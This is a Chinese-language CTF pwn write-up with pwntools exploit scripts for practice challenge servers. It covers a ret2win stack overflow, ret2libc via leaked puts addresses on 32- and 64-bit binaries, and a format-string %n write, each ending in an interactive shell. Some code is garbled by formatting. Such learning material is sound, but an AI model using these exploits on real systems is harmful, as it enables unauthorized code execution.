题型1:栈溢出pwn文件中含有system(“bin/sh”)系统调用

  1. from pwn import *
  2. # p = process("./test")
  3. p=remote('node3.buuoj.cn',29329)
  4. payload='a'*23 + p64(0x40118A)
  5. p.sendline(payload)
  6. p.interactive()

题型2:pwn文件中不含有system(“bin/sh”)系统调用

  • 需要通过其他的libc库函数(如puts函数),找到含有漏洞的pwn文件使用的libc库的版本,然后通过偏移地址找到system函数和“bin/sh”字符串,来构造system(“bin/sh”)调用。
  • 要找到pwn文件使用的libc版本,需要通过泄露pot表,来找到puts函数的地址,然后通过puts函数的地址和函数名来查找使用的libc版本。

image.png

  • 在32位的pwn文件下构造的exp如下所示: ```python from pwn import * context.log_level = ‘debug’ elf = ELF(‘./pwn’) p = remote(‘pwn.challenge.ctf.show’,28192) puts_plt = elf.plt[‘puts’]

puts_got = elf.got[‘puts’] main_addr = elf.symbols[‘main’] payload = b”A”13 + p32(puts_plt) + p32(main_addr) + p32(puts_got) p.sendline(payload) p.recvuntil(‘\n\n’) get_addr = u32(p.recv(4)) print(hex(get_addr)) #得到在got表中存放的puts函数的地址 libcbase = get_addr - 0x067360 #因为puts属于和system,bin/sh都在一个libc库中,所以可以通过偏移找到bin/sh system_addr = libcbase + 0x03cd10 bin_sh = libcbase + 0x17b8cf payload = b’A’13 + p32(system_addr) + b’AAAA’ + p32(bin_sh)

p.sendline(payload) p.interactive()

  1. - 64位的pwn文件下构造exp如下所示:
  2. - 寻找指令片段的命令:`ROPgadget --binary test |grep "pop rdi ; ret"`
  3. - 寻找字符串的命令:`ROPgadget --binary ciscn_2019_ne_5 --string "sh"`
  4. ```python
  5. from pwn import *
  6. context.log_level = "debug"
  7. elf = ELF("./test")
  8. puts_plt = elf.plt["puts"]
  9. puts_got = elf.got["puts"]
  10. start_addr = elf.symbols["_start"]
  11. p = remote("pwn.challenge.ctf.show", 28168)
  12. poprdi_addr = 0x4006e3
  13. payload = b"a"*20 + p64(poprdi_addr) + p64(puts_got) + p64(puts_plt) + p64(start_addr)
  14. #
  15. p.sendline(payload)
  16. p.recvuntil(b"\n")
  17. puts_addr = u64(p.recvuntil('\n',drop=True).ljust(8,'\x00'))
  18. print(hex(puts_addr))
  19. system_addr = puts_addr - 0x31580
  20. bin_sh_addr = puts_addr + 0x1334da
  21. ret = 0x4004c6
  22. payload1 = b"a"*20 + p64(ret)+p64(poprdi_addr) + p64(bin_sh_addr) + p64(system_addr)
  23. # 使用p64(ret)为了使堆栈平衡
  24. p.sendline(payload1)
  25. p.interactive()

题型3:格式化字符串漏洞

  • 将字符串”[addr]%Dd %N$n”作为参数传递给printf可以将addr处的值改写为(addr长度+D的值),其中N表示的是偏移。
  • 对于偏移N的确定,printf的第n+1个参数就是格式化字符串的第n个参数,如下图所示,偏移N就为9。

image.png

  • 如下面的exp,它的作用是将num_addr变量的地址改写为16
    1. from pwn import *
    2. context.log_level='debug'
    3. p = remote('pwn.challenge.ctf.show',28072)
    4. #p = process('./pwn')
    5. #num_addr = 0x0804A030
    6. payload = p32(0x0804A030) + cyclic(12) +b"%7$n"
    7. p.send(payload)
    8. p.interactive()